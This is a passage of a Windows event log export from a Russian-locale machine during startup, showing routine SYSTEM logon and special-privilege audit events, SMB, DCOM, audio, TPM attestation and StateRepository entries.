0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10246/MDEServer/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10247/apps/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.047\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.047\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.056\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:28:58.065\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.078\t5033\tThe Windows Firewall Driver started successfully.\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.084\t30950\t\"Component capabilities: 0x2\nInternal patch number: 0x0\n\"\tInformation\tMicrosoft-Windows-SMBClient/Operational\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.086\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=File]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.087\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=PackageAppInstaller]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.089\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=PackageSourceUri]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.089\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=NULL]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.094\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.103\t1041\tPre-attestation health check detailed information: {\"Version\":2,\"HealthStatus\":\"Possibly attestable\",\"Required\":[{\"Field\":\"TpmPresent\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TpmMeetsMinimumVersion\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TpmIsResponsive\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertIsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"TcgLogFound\",\"Value\":true,\"DesiredValue\":true}],\"Expected\":[{\"Field\":\"PcrsMatchTcgLog\",\"Value\":false,\"DesiredValue\":true,\"DiagnosticInfo\":{\"SoftwarePcrReplayHresult\":0,\"HardwarePcrReplayHresult\":0,\"BitMaskOfPcrMismatches\":1}}],\"Informational\":[{\"Field\":\"SecureBootEnabled\",\"ValueFromComputer\":true,\"ValueFromTcgLog\":true,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"VirtualSecureMemory\",\"ValueFromComputer\":false,\"ValueFromTcgLog\":false,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"SecureCorePCCompliant\",\"ValueFromComputer\":false,\"ValueFromTcgLog\":false,\"DesiredValue\":true,\"TcgValueIsVerifiable\":true},{\"Field\":\"MostRecentBootTcgLogFoundInFileSystem\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"CurrentTcgLogFoundInFileSystem\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertRsa2048IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertEccP256IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"EkCertEccP384IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertRsa2048IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertEccP256IsAvailable\",\"Value\":true,\"DesiredValue\":true},{\"Field\":\"WindowsAikCertEccP384IsAvailable\",\"Value\":true,\"DesiredValue\":true}]}\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:28:58.103\t1039\t\"Pre-attestation health checks confirm that the device meets most attestation criteria, but failing is still possible.\n Please see C:\\WINDOWS\\Logs\\MeasuredBoot\\0000000179-0000000000.json for detailed information on what checks were made.\"\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:28:58.112\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438\nInterfaceIndex: 0xF\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438\nInterfaceIndex: 0xF\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.116\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 Bluetooth\nInterfaceIndex: 0xC\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:28:58.133\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.148\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.154\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.154\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.156\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.156\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.163\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.163\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.164\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.166\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.166\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.174\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.180\t1900\tTDI mode enabled: true\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.181\t1080\t\"Component capabilities: 0x2\nInternal patch number: 0x0\n\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.184\t4624\t\"An account was successfully 